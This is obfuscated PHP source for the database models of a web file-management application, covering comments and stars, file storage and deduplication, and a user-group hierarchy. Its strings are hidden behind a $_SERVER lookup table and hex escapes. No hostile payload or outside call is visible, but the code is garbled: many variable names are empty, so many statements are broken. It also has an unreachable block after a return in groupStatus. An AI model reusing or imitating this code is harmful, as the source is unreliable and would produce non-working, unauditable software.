self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[ϋ]; if ($[$[1981]]) { $䔓 = $this->where(array($[1982] => $[$[1981]]))->find(); if (!$䔓 || $䔓[$[181]] != $[$[181]] || $䔓[$[554]] != $[$[554]]) { return !1; } $this->where(array($[1982] => $[$[1981]]))->setAdd($[1983], 1); } $[$[1984]] = 0; $[$[1983]] = 0; $[$[802]] = 1; return $this->add($); } public function commentCount($ʠ, $ٴǖ, $օ = false) { $й =& $_SERVER[ϋ]; if (!$ʠ) { return array(); } if (is_string($ʠ) || is_int($ʠ)) { $ʠ = array($ʠ); } $ = array($й[554], $й[1985] => $й[550]); $ = array($й[554] => array($й[7], $ʠ), $й[181] => $ٴǖ); if ($օ) { $[$й[1754]] = $օ; } $ӏ = $this->field($)->where($)->group($й[554])->select(); return array_to_keyvalue($ӏ, $й[554], $й[550]); } public function starTarget($, $) { $ =& $_SERVER[ϋ]; $Ȥȫ = $ + self::TYPE_STAR_OFFSET; $ي = array($[1754] => USER_ID, $[181] => $Ȥȫ, $[554] => $); $ = $this->where($ي)->find(); if ($) { return $this->where(array($[459] => $[$[459]]))->delete(); } $ߧ = array($[1981] => 0, $[1754] => USER_ID, $[802] => 1, $[806] => $[12], $[181] => $Ȥȫ, $[554] => $, $[1984] => 0, $[1983] => 0); return $this->add($ߧ); } public function starTargetCount($, $) { $Ή =& $_SERVER[ϋ]; $ = $ + self::TYPE_STAR_OFFSET; $妡 = $this->commentCount($, $); $Ȱ = $this->commentCount($, $, USER_ID); return array($Ή[1986] => $妡, $Ή[1987] => $Ȱ); } public function starTargetUserList($ڔ, $) { $چ =& $_SERVER[ϋ]; $琈 = $ڔ + self::TYPE_STAR_OFFSET; $ = array($چ[554] => $, $چ[181] => $琈); $ܼ = $this->where($)->count(); $ = array($چ[307] => $ܼ, $چ[1988] => array()); if (!$ܼ) { return $; } $„ = $this->field($چ[1754])->where($)->limit(500)->select(); $„ = array_to_keyvalue($„, $چ[12], $چ[1754]); $[$چ[1988]] = Model($چ[562])->userListInfo($„); return $; } public function prasiseUserList($ޠջ) { $݌ =& $_SERVER[ϋ]; $ި = array($݌[1989] => $ޠջ); $ = $this->where($ި)->find(); $ה = _get($, $݌[1984], 0); $ʞ = array($݌[307] => $ה, $݌[1988] => array()); if (!$ה) { return $ʞ; } $ց = Model($݌[1990])->field($݌[1754])->where($ި)->limit(500)->select(); $ց = array_to_keyvalue($ց, $݌[12], $݌[1754]); $ʞ[$݌[1988]] = Model($݌[562])->userListInfo($ց); return $ʞ; } public function remove($) { $ə =& $_SERVER[ϋ]; $ = array($ə[1982] => $); $ݕ = $this->where($)->find(); if ($ݕ[$ə[1981]]) { $this->where(array($ə[1982] => $ݕ[$ə[1981]]))->setAdd($ə[1983], -1); } return $this->where($)->delete(); } public function edit($ōØ, $) { $Ω =& $_SERVER[ϋ]; $ފ͍ = array($Ω[1982] => $ōØ); return $this->where($ފ͍)->save(array($Ω[1991] => $)); } public function prasise($ϳ퉙) { $ =& $_SERVER[ϋ]; $ϴ = Model($[1992]); $ = array($[1982] => $ϳ퉙, $[1745] => USER_ID); $䒗 = $ϴ->where($)->find(); if (!$䒗) { $ϴ->add($); $ꬱ = $this->where(array($[1982] => $ϳ퉙))->setAdd($[1984], 1); } else { $ϴ->where($)->delete(); $ꬱ = $this->where(array($[1982] => $ϳ퉙))->setAdd($[1984], -1); } return $ꬱ; } public function targetInfo($ɴ, $Օ) { $ =& $_SERVER[ϋ]; $ = array($[632] => $ɴ, $[633] => $Օ); $ܞ = $this->where($)->count(); $ = "\122\111\107\x48\124\40\112\117\111\x4e\x20{$this->tablePrefix}\x63\x6f\155\155\145\x6e\x74\137\160\x72\x61\x69\x73\145\x20\x73\x74\x61\x72\40\157\x6e\40\x63\x6f\x6d\155\145\x6e\164\x2e\143\157\x6d\x6d\x65\156\164\111\x44\40\75\x20\x73\164\141\162\56\143\x6f\x6d\155\x65\x6e\x74\x49\x44"; $ڡ = $this->alias($[405])->where($)->join($, $[1993])->count(); $Ԩ = array($[1994] => $ܞ, $[1995] => $ڡ); return $Ԩ; } public function listData($) { $׭ =& $_SERVER[ϋ]; if (isset($[$׭[1996]])) { if ($[$׭[1996]]) { $[$׭[1989]] = array($׭[1063], intval($[$׭[1996]])); } unset($[$׭[1996]]); } if (isset($[$׭[1997]])) { if ($[$׭[1997]]) { $[$׭[1989]] = array($׭[1060], intval($[$׭[1997]])); } unset($[$׭[1997]]); } return $this->_listData($); } private function _listData($۶) { $ʗ =& $_SERVER[ϋ]; $˔ = $this->where($۶)->_makeOrder()->selectPage(100); $this->_listAppendParent($˔[$ʗ[429]]); $this->_listAppendUser($˔[$ʗ[429]]); $this->_listAppendMeta($˔[$ʗ[429]]); return $˔; } private function _makeOrder() { $ =& $_SERVER[ϋ]; $ȹ֊ = array($[1984], $[1983], $[222]); $ = Input::get($[514], $[7], $[481], $ȹ֊); $籐 = Input::get($[515], $[7], $[1747], array($[1998], $[510])); $Ɯ = $ . $[53] . $籐; return $this->order($Ɯ); } private function _listAppendParent(&$ҢՇ) { $؟撶 =& $_SERVER[ϋ]; $ݾ = array_unique(array_to_keyvalue($ҢՇ, $؟撶[12], $؟撶[1981])); $ݾ = array_remove_value($ݾ, $؟撶[219]); if (!$ݾ) { return; } $ɖ = $this->where(array($؟撶[1982] => array($؟撶[7], $ݾ)))->select(); $ɖ = array_to_keyvalue($ɖ, $؟撶[1989]); foreach ($ҢՇ as &$ש) { if (isset($ɖ[$ש[$؟撶[1981]]])) { $ש[$؟撶[1999]] = $ɖ[$ש[$؟撶[1981]]]; } } unset($ש); } private function _listAppendUser(&$) { $ =& $_SERVER[ϋ]; $ = array_unique(array_to_keyvalue($, $[12], $[1754])); $ = array_remove_value($, $[219]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$[1999]])) { $[] = $[$[1999]][$[1754]]; } } $ = Model($[583])->userListInfo($); foreach ($ as &$) { $[$[646]] = $[$[$[1754]]]; if (isset($[$[1999]])) { $[$[1999]][$[646]] = $[$[$[1999]][$[1754]]]; } } unset($); } private function _listAppendMeta(&$) { $ֻ =& $_SERVER[ϋ]; $ = array_unique(array_to_keyvalue($, $ֻ[12], $ֻ[1989])); $ = array_remove_value($, $ֻ[219]); if (!$) { return; } foreach ($ as $ƺ) { if (isset($ƺ[$ֻ[1999]])) { $[] = $ƺ[$ֻ[1999]][$ֻ[1989]]; } } $ޛ = $this->metaList($); if (!$ޛ) { return !1; } foreach ($ as &$ƺ) { $ƺ[$ֻ[523]] = $ޛ[$ƺ[$ֻ[1989]]]; if (isset($ƺ[$ֻ[1999]])) { $ƺ[$ֻ[1999]][$ֻ[523]] = $ޛ[$ƺ[$ֻ[1999]][$ֻ[1989]]]; } } unset($ƺ); } private function metaList($) { $㧔 =& $_SERVER[ϋ]; if (!$) { return array(); } $پʾ = array($㧔[1989] => array($㧔[7], $)); $ۆ = Model($㧔[2000])->where($پʾ)->select(); $ۆ = array_to_keyvalue_group($ۆ, $㧔[1989]); foreach ($ۆ as $ => $౜) { $ = array(); foreach ($౜ as $) { $[$[$㧔[97]]] = $[$㧔[434]]; } $ۆ[$] = $; } return $ۆ ? $ۆ : array(); } public function removeTarget($, $֎̏) { $ޱ =& $_SERVER[ϋ]; if (!$֎̏) { return !0; } $֎̏ = is_array($֎̏) ? $֎̏ : array($֎̏); $ݗ = array($ޱ[181] => $, $ޱ[554] => array($ޱ[7], $֎̏)); $ = $this->field($ޱ[1989])->where($ݗ)->select(); $Ҟց = array_to_keyvalue($, $ޱ[12], $ޱ[1989]); if (!$Ҟց) { return !0; } $ݗ = array($ޱ[1989] => array($ޱ[7], $Ҟց)); $this->where($ݗ)->delete(); Model($ޱ[1992])->where($ݗ)->delete(); Model($ޱ[2001])->where($ݗ)->delete(); } } goto Aߊ۩; Aߊ۩: class FileContentModel extends ModelBase { protected $tableName = "\x69\157\137\146\x69\154\x65\137\x63\157\156\x74\x65\x6e\164\163"; protected $dataAuto = array(array("\143\162\x65\141\x74\x65\x54\x69\x6d\x65", "\164\151\155\145", "\x69\x6e\x73\x65\x72\164", "\x66\x75\156\x63\164\151\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\x5f\x66\x69\154\x65"; protected $tableMeta = array("\164\x61\142\x6c\145\x4e\x61\155\x65" => "\x69\157\x5f\x66\151\x6c\x65\x5f\155\x65\x74\x61", "\x6d\145\x74\x61\106\151\145\154\144" => "\x66\x69\154\145\111\104"); public function fileInfo($) { $ٷ =& $_SERVER[ϋ]; static $ = array(); if (!isset($[$])) { $ = $ٷ[2002]; $ݏ = Model($ٷ[528])->field($)->where(array($ٷ[526] => $))->find(); $[$] = $ݏ; } return $[$]; } public function addFileByContent($ʱ = '', $˦ = '') { $ =& $_SERVER[ϋ]; $ӟ = TEMP_PATH . $[2003]; if (!is_dir($ӟ)) { mk_dir($ӟ); } $ʔħ = $ӟ . $[2004] . rand_string(16); file_put_contents($ʔħ, $ʱ); $ՙ = $this->addFile($ʔħ, $˦, !0); if (file_exists($ʔħ)) { @unlink($ʔħ); } return $ՙ; } public function createFileName($䃎͟, $ = false, $ = false) { $ =& $_SERVER[ϋ]; $۫ = IO::init($[8]); $Ïѩ = $this->makeFilePath($䃎͟, $۫, $, $); $ = $۫->pathFather($Ïѩ); static $δ = false; $柨Ѫ = $[2005] . md5($); if (!$δ && !Cache::get($柨Ѫ)) { $δ = !0; $Ո͍ = IO::mkdir($); if (!IO::exist($Ո͍ . $[848])) { IO::mkfile($Ո͍ . $[848]); } Cache::set($柨Ѫ, 1, 3600 * 2); } return $Ïѩ; } public function makeFilePath($, $䆱, $ = false, $ = false) { $ݸ =& $_SERVER[ϋ]; $ɚ = Model($ݸ[822])->get($ݸ[2006]); $ղ = KodIO::defaultIO() . date($ݸ[2007]); $֧ = $ղ . rand_string(5) . short_id(100); $ = str_replace($ݸ[8], $ݸ[11], KodIO::clear($)); $ٷ = $䆱->ext($); if (!$) { $ɚ = $ݸ[2008]; } switch ($ɚ) { case $ݸ[2009]: if ($ٷ) { $֧ = $֧ . $ݸ[10] . $ٷ; } if ($ٷ == $ݸ[1945]) { $֧ .= $ݸ[1259]; } break; case $ݸ[2010]: $ǝ = Model($ݸ[822])->get($ݸ[823]); $ō = substr(md5($ݸ[824] . $ǝ . date($ݸ[800])), 0, 8); $쯹 = KodIO::defaultDriver(); $ղ = $ݸ[1290] . $쯹[$ݸ[459]] . $ݸ[468] . date($ݸ[2011]) . $ō . $ݸ[8]; if ($ٷ == $ݸ[1945]) { $ .= $ݸ[1259]; } $Ɩ = $ݸ[2012] . $ղ . $; CacheLock::lock($Ɩ); $֧ = $ղ . $; if (IO::exist($ղ . $)) { $٤ = substr($, 0, strlen($) - strlen($ٷ)); $с = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $֧ = $ղ . $٤ . $с; if ($ٷ) { $֧ = $֧ . $ݸ[10] . $ٷ; } } if (IO::isOsDriver($֧) && !IO::isUploadServer($֧)) { if (IO::exist($֧)) { return $֧; } $ = IO::setContent($֧, $ݸ[12]); if (!$) { show_json($ݸ[2013], !1); } } CacheLock::unlock($Ɩ); break; case $ݸ[2008]: break; default: break; } return $֧; } public function addFileByRemote($؏, $஺, $һ = array()) { $ =& $_SERVER[ϋ]; if (!IO::exist($؏)) { return !1; } $д· = $һ[$[531]] ? $һ[$[531]] : $[12]; $ = IO::hashMd5($؏, $д·); $ = KodIO::defaultDriver(); $ = array($[601] => IO::size($؏), $[2014] => 1, $[478] => $஺, $[859] => $[$[459]], $[479] => $؏, $[2015] => $һ[$[656]] ? $һ[$[656]] : IO::hashSimple($؏), $[2016] => $ ? $ : $д·); if ($䭽 = $this->addFileCheckExist($[$[656]], $[$[531]], $[$[79]])) { return $䭽; } return $this->addFileData($); } private function addFileData($ȋ) { $ =& $_SERVER[ϋ]; if (!$ȋ) { return !1; } $ȋ[$[79]] = intval($ȋ[$[79]]); if (!$ȋ[$[79]] && strlen($ȋ[$[656]]) > 32) { $ȋ[$[79]] = intval(substr($ȋ[$[656]], 32)); } $ = $this->add($ȋ); return $this->find($); } public function addFile($˙, $, $ԫ = false) { $ =& $_SERVER[ϋ]; $ = IO::hashSimple($˙); $ۅ = IO::size($˙); $רП = $ۅ <= 1024 * 1024 * 10 ? IO::hashMd5($˙) : $[12]; $ϗ = $[2017] . $; CacheLock::lock($ϗ); if ($רП && $) { $գ = $this->addFileCheckExist($, $רП, $ۅ); if ($գ) { CacheLock::unlock($ϗ); return $գ; } } $ = $this->addFileMake($˙, $ۅ, $, $רП, $, $ԫ); $Ĩ = $this->addFileData($); CacheLock::unlock($ϗ); if (!$רП && $Ĩ) { $this->fileMd5Check($Ĩ); } return $Ĩ; } public function fileMd5Check($È) { $ȡ =& $_SERVER[ϋ]; $ = array($È[$ȡ[525]], $È[$ȡ[87]]); $ͭ = $ȡ[2018] . $È[$ȡ[87]]; $վ = $ȡ[2019] . $È[$ȡ[525]]; TaskQueue::add($ȡ[2020], $, $ͭ, $վ); } public function fileMd5Set($ڼ, $ͯ) { $ϴ =& $_SERVER[ϋ]; $儧 = $this->find($ڼ); if (!$儧 || $儧[$ϴ[531]]) { return; } $Ї = IO::hashMd5($ͯ); if (!$Ї) { return $ϴ[12]; } $this->where(array($ϴ[525] => $ڼ))->save(array($ϴ[531] => $Ї)); } public function addFileMake($, $, $, $³, $ו, $) { $ =& $_SERVER[ϋ]; $ޞ = $this->createFileName($ו, $, $³); $ = get_path_father($ޞ); $򷝌 = get_path_this($ޞ); if ($) { $չ = IO::move($, $, !1, $򷝌); } else { $չ = IO::copy($, $, !1, $򷝌); } if (!$չ) { return !1; } $ʆ = KodIO::defaultDriver(); $ܙѵ = array($[601] => $, $[2014] => 1, $[478] => $ו, $[859] => $ʆ[$[459]], $[479] => $ޞ, $[2015] => $, $[2016] => $³); return $ܙѵ; } public function addFileCheckExist($𮪟, $, $) { $ =& $_SERVER[ϋ]; $Ə۵ = $this->findByHash($𮪟, $); if (!$Ə۵) { return !1; } $ƌ = array($[2014] => intval($Ə۵[$[2021]]) + 1, $[601] => $); $this->where(array($[526] => $Ə۵[$[525]]))->save($ƌ); return $Ə۵; } public function remove($ل) { $this->linkCountChange($ل, !1); $this->clearEmpty(); return !0; } public function linkAdd($) { $this->linkCountChange($, !0); } public function linkCountChange($, $ؒ) { $ =& $_SERVER[ϋ]; if (!$) { return; } if (!is_array($)) { $ = array($); } $İ = array(); foreach ($ as $) { $ի = $ . $[12]; if (!$İ[$ի]) { $İ[$ի] = 0; } $İ[$ի]++; } $ = array(); foreach ($İ as $ => $Ӽǰ) { $ի = $Ӽǰ . $[12]; if (!$[$ի]) { $[$ի] = array(); } $[$ի][] = $; } foreach ($ as $Ӽǰ => $Ṁ) { if (!$Ṁ) { continue; } $Ӽǰ = $ؒ ? $Ӽǰ : -intval($Ӽǰ); $ꟾ = array($[525] => array($[7], $Ṁ)); if ($Ӽǰ < 0) { $ꟾ[$[2021]] = array($[1064], abs($Ӽǰ)); } $this->where($ꟾ)->setAdd($[2021], $Ӽǰ); } } public function findByHash($, $򠊿 = false) { $ݥ =& $_SERVER[ϋ]; if (!$ && !$򠊿) { return !1; } $ = array($ݥ[2015] => $); if ($򠊿) { $ = array($ݥ[2016] => $򠊿); } return $this->order($ݥ[2022])->where($)->find(); } public function clearEmpty($匘 = 0) { $ =& $_SERVER[ϋ]; $ڳ = time() - 3600 * 24 * $匘; $ = $[2023] . $ڳ; $ = $this->where($)->select(); if (!$) { return; } $ѹ = new Task($[2024], $[12], count($)); foreach ($ as $ᢘ܏) { $ѹ->update(1); $this->resetFile($ᢘ܏); } $ѹ->end(); } public function resetFile($ڈ) { $ݥ =& $_SERVER[ϋ]; $맪 = array($ݥ[526] => $ڈ[$ݥ[525]]); $ = Model($ݥ[1388])->where($맪)->count(); $ᵥ = Model($ݥ[2025])->where($맪)->count(); $ = intval($) + intval($ᵥ); if ($ == 0) { IO::remove($ڈ[$ݥ[87]]); Model($ݥ[2026])->delete($ڈ[$ݥ[525]]); $this->where($맪)->delete(); $this->metaSet($ڈ[$ݥ[525]], null, null); write_log(ACTION . $ݥ[2027] . KodUser::id() . $ݥ[2028] . $ڈ[$ݥ[525]] . $ݥ[2029] . $ڈ[$ݥ[79]] . $ݥ[192] . $ڈ[$ݥ[87]], $ݥ[2030]); return; } if ($ڈ[$ݥ[2021]] != $) { $this->where($맪)->save(array($ݥ[2014] => $)); } } public function storageInfo($ = false) { $񗊽 =& $_SERVER[ϋ]; $ = $this->count() + 0.0; $ = 0; $Ԓ = 1; $ = 0; $匭 = 5000; for ($Ѵ = 0; $Ѵ < $; $Ѵ = $Ѵ + $匭) { $Ԉ = $this->limit($Ѵ, $Ѵ + $匭)->select(); foreach ($Ԉ as $) { $Ԓ += $[$񗊽[79]] * $[$񗊽[2021]]; $ += $[$񗊽[79]] * ($[$񗊽[2021]] - 1); $ += $[$񗊽[2021]]; } } $芧 = array($񗊽[2031] => $Ԓ, $񗊽[2032] => $, $񗊽[2033] => $ / $Ԓ, $񗊽[83] => $, $񗊽[2034] => $); return $芧; } } class GroupModel extends ModelBase { protected $tableName = "\147\162\x6f\x75\x70"; protected $tableMeta = array("\x74\x61\142\x6c\145\x4e\141\x6d\x65" => "\x67\x72\x6f\x75\160\137\x6d\145\x74\141", "\x6d\145\x74\141\106\151\x65\x6c\x64" => "\x67\x72\x6f\165\160\111\104"); protected function cacheFunctionAlias($՘ɚ) { $Ƙ =& $_SERVER[ϋ]; return array($Ƙ[2035] => array($՘ɚ[0], $Ƙ[2036]), $Ƙ[2037] => array($՘ɚ[0], $Ƙ[2038])); } protected function getInfo($ϔƵ, $ = false) { $Lj = $this->getInfoSimple($ϔƵ); if (!$Lj) { return !1; } if ($) { return $this->_listDataApplyItem($Lj); } return $this->cacheFunctionGet($_SERVER[ϋ][2039], $ϔƵ); } protected function getInfoSimple($, $׌ = false) { $ڟ =& $_SERVER[ϋ]; if ($׌) { $֚ = array($ڟ[1952] => intval($)); $ = $this->where($֚)->find(); return is_array($) ? $ : array(); } return $this->cacheFunctionGet($ڟ[2040], $); } protected function groupAdd($Ě) { $ =& $_SERVER[ϋ]; if (!$Ě[$[183]] && isset($Ě[$[1952]]) && $Ě[$[1952]] == 1) { if ($ = $this->getInfoSimple($Ě[$[1952]], !0)) { return $Ě[$[1952]]; } } else { $ = $this->getInfoSimple($Ě[$[183]]); if (!$) { return !1; } } $ = $[579]; if ($[$[569]]) { $ = $[$[569]] . $[$[1952]] . $[50]; } $ = array($[478] => $this->groupNameAuto($Ě[$[183]], $Ě[$[32]]), $[461] => $Ě[$[183]], $[636] => $, $[2041] => $Ě[$[1939]], $[2042] => 0, $[1956] => 0); if (isset($Ě[$[1976]])) { $[$[1976]] = $Ě[$[1976]]; } else { $Җ = $this->max($[1976]); if (!$Җ) { $Җ = 0; } $[$[1976]] = $Җ + 1; } if (!empty($Ě[$[1952]])) { $[$[1952]] = $Ě[$[1952]]; } $ = $this->add($); $this->setNamePinyin($, $[$[32]]); if (isset($Ě[$[2043]])) { $this->metaSet($, array($[2043] => $Ě[$[2043]], $[2044] => $Ě[$[2044]])); unset($Ě[$[2043]]); unset($Ě[$[2044]]); } Model($[1388])->groupRootAdd($); $this->_clearCache($Ě[$[183]]); return $; } protected function groupEdit($ߟ, $) { $ʰ =& $_SERVER[ϋ]; $ȏ͇ = $this->getInfoSimple($ߟ); if (!$ȏ͇) { return !1; } if (!empty($[$ʰ[183]])) { $ = $this->getInfoSimple($[$ʰ[183]]); if (!$) { return !1; } if ($ȏ͇[$ʰ[1952]] == $[$ʰ[1952]]) { return !1; } if ($[$ʰ[183]] != $ȏ͇[$ʰ[183]]) { if ($[$ʰ[569]] !== $ȏ͇[$ʰ[569]] && strpos($[$ʰ[569]], $ȏ͇[$ʰ[569]] . $ȏ͇[$ʰ[1952]] . $ʰ[50]) === 0) { return !1; } $[$ʰ[636]] = $[$ʰ[569]] . $[$ʰ[183]] . $ʰ[50]; $this->_changeChildLevel($ȏ͇, $); $this->_clearCache($[$ʰ[1952]]); $this->_clearCache($ȏ͇[$ʰ[183]]); } } if (isset($[$ʰ[32]])) { $this->setNamePinyin($ߟ, $[$ʰ[32]]); } if (isset($[$ʰ[2043]])) { $this->metaSet($ߟ, array($ʰ[2043] => $[$ʰ[2043]], $ʰ[2044] => $[$ʰ[2044]])); unset($[$ʰ[2043]]); unset($[$ʰ[2044]]); } $this->_clearChildrenCache($ȏ͇); return $this->where(array($ʰ[2045] => $ߟ))->save($); } private function _clearChildrenCache($҇) { $ٓ =& $_SERVER[ϋ]; $ = array($ٓ[636] => array($ٓ[596], $҇[$ٓ[569]] . $҇[$ٓ[1952]] . $ٓ[597])); $磀 = $this->field($ٓ[1952])->where($)->select(); foreach ($磀 as $Ţ) { $this->_clearCache($Ţ[$ٓ[1952]]); } } private function _clearCache($埼) { $궰 =& $_SERVER[ϋ]; $this->cacheFunctionClear($궰[2039], $埼); $this->cacheFunctionClear($궰[2040], $埼); } private function _changeChildLevel($, $ܪ, $֒ = false) { $ =& $_SERVER[ϋ]; $ = $[$[569]] . $[$[1952]] . $[50]; $Ӱ = $ܪ[$[569]] . $ܪ[$[1952]] . $[50] . $[$[1952]] . $[50]; if ($֒) { $Ӱ = $ܪ[$[569]] . $ܪ[$[1952]] . $[50]; } $ = array($[636] => array($[596], $[$[569]] . $[$[1952]] . $[597])); $ = array($[636] => array($[645], "\162\x65\x70\x6c\141\143\145\x28\x70\x61\162\x65\x6e\164\114\x65\166\145\154\54\x27{$}\x27\x2c\47{$Ӱ}\x27\x29")); $this->_clearChildrenCache($); $this->where($)->data($)->save(); } public function setNamePinyin($Ƙ, $Զ = false) { $ݍò =& $_SERVER[ϋ]; if (!$Զ) { $ = $this->getInfoSimple($Ƙ); $Զ = $[$ݍò[32]]; } if (!Input::check($Զ, $ݍò[639])) { $this->metaSet($Ƙ, $ݍò[522], null); $this->metaSet($Ƙ, $ݍò[521], null); return; } $잏̷ = array($ݍò[522] => str_replace($ݍò[53], $ݍò[12], Pinyin::get($Զ)), $ݍò[521] => Pinyin::get($Զ, $ݍò[640])); $this->metaSet($Ƙ, $잏̷); } protected function groupStatus($ę, $) { $ӯʟ =& $_SERVER[ϋ]; $ށ = $this->getInfoSimple($ę); if (!$ށ) { return !1; } $this->_clearCache($ę); return $this->metaSet($ę, $ӯʟ[802], $); if ($ == $ӯʟ[91]) { $Ά = $this->parentLevelArray($ށ[$ӯʟ[569]]); } else { } $Ά[] = $ށ[$ӯʟ[1952]]; $ = array(); foreach ($Ά as $ę) { $[] = array($ӯʟ[1952] => $ę, $ӯʟ[97] => $ӯʟ[802], $ӯʟ[434] => $); $this->_clearCache($ę); } return Model($ӯʟ[2046])->addAll($, array(), !0); } protected function groupRemove($ᬐ, $ȼ = false) { $ =& $_SERVER[ϋ]; $ = array($[1952] => $ᬐ); $ڐ = $this->where($)->find(); if (!$ڐ || $ڐ[$[183]] == 0) { return !1; } if (!$ȼ) { $냓 = $this->getInfoSimple($ڐ[$[183]]); $this->_changeChildLevel($ڐ, $냓, !0); $this->where(array($[183] => $ᬐ))->save(array($[183] => $ڐ[$[183]])); $this->_clearCache($냓[$[1952]]); } Model($[2046])->where($)->delete(); Model($[2047])->where($)->delete(); Model($[876])->groupRootRemove($ᬐ); $this->_clearCache($ڐ[$[183]]); return $this->where($)->delete(); } protected function groupSort($܉) { $ŀ =& $_SERVER[ϋ]; $ԄĠ = array(); foreach ($܉ as $ => $󀸃) { $ԄĠ[] = array($ŀ[1952], $󀸃, $ŀ[1976], $ + 1); } $this->saveAll($ԄĠ); } public function listData() { $ْ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($ْ[$_SERVER[ϋ][429]]); return $ْ; } private function _makeOrder($ = '') { $؄ =& $_SERVER[ϋ]; $ = array($؄[1952], $؄[32], $؄[1941], $؄[222]); $溇 = array($؄[507] => $؄[508], $؄[509] => $؄[510]); $ = Input::get($؄[514], $؄[7], $؄[1956], $); $ݱ̝ = Input::get($؄[515], $؄[7], $؄[2048], array($؄[2048], $؄[509])); $ݱ̝ = $溇[$ݱ̝]; $ = $ . "{$}\x20{$ݱ̝}\x2c\40\147\x72\x6f\165\x70\111\x44\40\141\163\143"; return $this->order($); } public function listChild($) { $ =& $_SERVER[ϋ]; $Ð = $this->where(array($[183] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($Ð[$[429]]); return $Ð; } public function listChildIds($) { $߯ɪ =& $_SERVER[ϋ]; if (is_string($)) { $ = explode($߯ɪ[50], $); } $ = $this->where(array($߯ɪ[1952] => array($߯ɪ[7], $)))->field($߯ɪ[2049])->select(); if (!$) { return !1; } $о = array(); foreach ($ as $؞ʖ) { $о[] = "\x73\145\154\145\143\x74\40\147\162\x6f\x75\x70\111\x44\40\x66\x72\157\155\40\x60\x67\162\157\165\x70\x60\x20\167\x68\145\x72\x65\40\160\141\162\145\156\164\114\x65\x76\x65\154\x20\x6c\x69\153\145\40\47{$؞ʖ[$߯ɪ[569]]}{$؞ʖ[$߯ɪ[1952]]}\54\45\x27"; } $о = implode($߯ɪ[2050], $о); $ = $this->query($о); if (!$) { return array(); } $ = array_to_keyvalue($, $߯ɪ[12], $߯ɪ[1952]); return array_unique($); } public function listByID($ʋ) { $զ =& $_SERVER[ϋ]; if (!$ʋ) { return array(); } $ = array($զ[1952] => array($զ[7], $ʋ)); $֥ = $this->where($)->select(); $֥ = array_sort_keep($֥, $զ[1952], $ʋ); $this->_listDataApply($֥); return $֥; } public function listSearch($ݶ) { $瞗 =& $_SERVER[ϋ]; $ܥ = trim($ݶ[$瞗[2051]]); $ = explode($瞗[53], $ܥ); if (!$ܥ || count($) == 1) { return $this->listSearchNow($ݶ); } $ = array($瞗[429] => array()); foreach ($ as $۪) { if (!trim($۪)) { continue; } $ݶ[$瞗[2051]] = $۪; $ͽ = $this->listSearchNow($ݶ); $[$瞗[429]] = array_merge($[$瞗[429]], $ͽ[$瞗[429]]); } $[$瞗[429]] = array_unique_by_key($[$瞗[429]], $瞗[1952]); $[$瞗[426]] = array($瞗[427] => count($[$瞗[429]]), $瞗[423] => 20, $瞗[404] => 1, $瞗[428] => 1); return $; } public function listSearchNow($ڞ) { $ =& $_SERVER[ϋ]; $ՙ = trim($ڞ[$[2051]]); $ = isset($ڞ[$[2052]]) ? $ڞ[$[2052]] : !1; if (!trim($ՙ)) { return !1; } $ՙ = str_replace($[2053], $[2054], $ՙ); $ = array($[1952] => array($[443], "{$ՙ}\x25"), $[32] => array($[443], "\x25{$ՙ}\x25"), $[1049] => $[2055]); if ($) { $毼 = $this->getInfoSimple($); $ = $毼[$[569]] . $ . $[597]; $ = array($, array($[569] => array($[443], $))); } $ = $this->parseWhereLike($); $Ց̈́ = $this->_makeOrder()->where($)->selectPage(20); $Ց̈́ = $Ց̈́ ? $Ց̈́ : array($[429] => array(), $[426] => array()); if (!$Ց̈́ || count($Ց̈́[$[429]]) < 5 && Input::check($ՙ, $[369])) { $© = $this->groupChildrenAll($); $Ўـ = $this->_searchFromMeta($[521], $ՙ, 10, $©); $ = $this->_searchFromMeta($[522], $ՙ, 10, $©); $흳 = array_merge($Ўـ, $, $Ց̈́[$[429]]); $Ց̈́[$[429]] = array_unique_by_key($흳, $[1952]); $Ց̈́[$[426]][$[427]] = count($Ց̈́[$[429]]); $Ց̈́[$[426]][$[428]] = ceil($Ց̈́[$[426]][$[427]] / $Ց̈́[$[426]][$[423]]); } $this->_listDataApply($Ց̈́[$[429]]); return $Ց̈́; } protected function groupChildrenAll($ֵ) { $ =& $_SERVER[ϋ]; if (!$ֵ) { return !1; } if (!is_array($ֵ)) { $ֵ = array($ֵ); } $ = $ֵ; foreach ($ֵ as $ʞ) { $ = $this->getInfoSimple($ʞ); $ۥ = array($[569] => array($[443], $[$[569]] . $ʞ . $[597])); $ = $this->field($[1952])->where($ۥ)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[1952])); } return array_unique($); } private function _searchFromMeta($깆, $敊ԭ, $δ, $В) { $ͣ =& $_SERVER[ϋ]; $敊ԭ = strtolower($敊ԭ); $ = array($ͣ[97] => $깆, $ͣ[434] => array($ͣ[443], "\45{$敊ԭ}\x25")); $ = $this->parseWhereLike($); if ($В) { $[$ͣ[1952]] = array($ͣ[7], $В); } $ = Model($ͣ[2056])->where($)->limit($δ)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ͣ[12], $ͣ[1952]); $’ = $this->where(array($ͣ[2045] => array($ͣ[7], $)))->select(); if (!$’) { return array(); } return $’; } protected function _listDataApplyItem($鐦) { $葝 = array($鐦); $this->_listDataApply($葝); return $葝[0]; } protected function _listDataApply(&$äǾ) { $ת =& $_SERVER[ϋ]; if (!$äǾ) { return; } $﩮ǡ = array_to_keyvalue($äǾ, $ת[12], $ת[1952]); $this->_listAppendChildren($äǾ); $this->_listAppendChildrenMember($äǾ); $this->_listAppendMeta($äǾ, $﩮ǡ); $this->_listAppendParent($äǾ); $this->_listAppendSourceRoot($äǾ, $﩮ǡ); } private function _listAppendChildren(&$ɘ) { $ݵ =& $_SERVER[ϋ]; $ڋ = array_to_keyvalue($ɘ, $ݵ[12], $ݵ[1952]); $ϛ = array($ݵ[183] => array($ݵ[7], $ڋ)); $ = array($ݵ[183], $ݵ[2057] => $ݵ[550]); $μХ = $this->field($)->where($ϛ)->group($ݵ[183])->select(); $ = array_to_keyvalue($μХ, $ݵ[183], $ݵ[550]); foreach ($ɘ as &$֦) { $񫰔 = $֦[$ݵ[1952]]; $֦[$ݵ[2058]] = isset($[$񫰔]) ? intval($[$񫰔]) : 